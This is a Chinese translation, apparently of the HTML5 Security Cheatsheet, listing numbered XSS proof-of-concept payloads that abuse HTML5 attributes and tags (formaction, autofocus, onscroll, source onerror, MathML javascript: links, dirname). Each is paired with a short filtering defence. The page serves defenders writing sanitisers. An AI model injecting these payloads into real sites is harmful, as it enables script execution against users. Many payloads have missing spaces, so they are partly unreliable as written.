中文版"/>
HTML5Ssec.org中文版
HTML5Ssec中文版
#1 XSS formaction,需要用户交互
poc:
<formid="test"></form><button form="test"formaction="javascript:alert(1)">X</button>
formaction
是html5<button》的新属性,它可以覆盖包含<button>的<form>的@action动作。
防护:
不要允许用户提交包含@form和@formaction属性的标签,或者把它们转换成伪造的属性。避免给<form>或@submit<button>赋予@id属性。
#7 autofocus属性,来实现自执行
poc:
<input onfocus=write(1)autofocus>
当页面加载时,这个<input>标签会自动获得焦点
防护:
用户提交的标签不应包含@autofocus属性
#8 autofocus属性竞争,来实现自执行
poc:
<inputonblur=write(1) autofocus><input autofocus>
@onblur 事件会在对象失去焦点时发生。
防护:
与#7类似
#10 <video>的@poster属性
poc:
<videoposter=javascript:alert(1)//></video>
poster 属性规定视频下载时显示的图像,或者在用户点击播放按钮前显示的图像。如果未设置该属性,则使用视频的第一帧来代替。
#12 <body>的@onscrollautofocus实现自执行JS.
poc:
<bodyonscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><inputautofocus>
onscroll是滚动条被滚动事件,当最小面的input要获得焦点,就会自动滚动,造成自执行
#23 表单被监控特性:@onformchange,@onforminput 和 @form 属性
poc:
<formid=test onforminput=alert(1)><input></form><button form=testonformchange=alert(2)>X</button>
防护:
不要允许用户输入@onformchange和@onforminput属性,不要给<form>赋予@id属性
#55 <video>和<source>标签
poc:
<video><sourceonerror="alert(1)">
<source>
是html5的新标签,有很多事件属性,可造成XSS
防护:
确保<source>标签不能包含事件属性,或者用白名单事件过滤。
#72formaction
造成XSS,要求交互
poc
:
<form><button formaction="javascript:alert(1)">X</button>
注意与#1区分,这里的<form>没有@id属性,<button>没有@form属性
防护:
过滤@form和@formaction属性
#86<body>
和 @oninput属性
poc:
<body oninput=alert(1)><inputautofocus>
大多数浏览器都支持@oninput事件,它可以作用于<input>、<form>、<body>、<html>标签。
防护:
不要把oninput加入过滤属性白名单
#130 mathML
poc:
<mathhref="javascript:alert(1)">CLICKME</math> <math><!-- up to FF 13 --> <mactionactiontype="statusline#" xlink:href="javascript:alert(2)">CLICKME</maction><!-- FF 14+ --> <maction actiontype="statusline"xlink:href="javascript:alert(3)">CLICKME<mtext>http://;/mtext></maction></math>
FF
支持mathML(
数学标记语言,是一种基于XML的标准,用来在互联网上书写数学符号和公式的置标语言。),其@href支持JS执行,同样@xlink也支持JS执行,可造成XSS。
防护:
过滤MathML的内容
#136 @dirname
覆盖请求的数据
poc
:
<formaction="" method="post"> <inputname="username" value="admin" /> <inputname="password" type="password" value="secret"/> <input name="injected" value="injected"dirname="password" /> <input type="submit"></form>
dirname
属性是表示输入方向的,可被用于注入,导致覆盖用户的真实信息
防护:
过滤@dirname属性
更多推荐
HTML5Ssec.org中文版
发布评论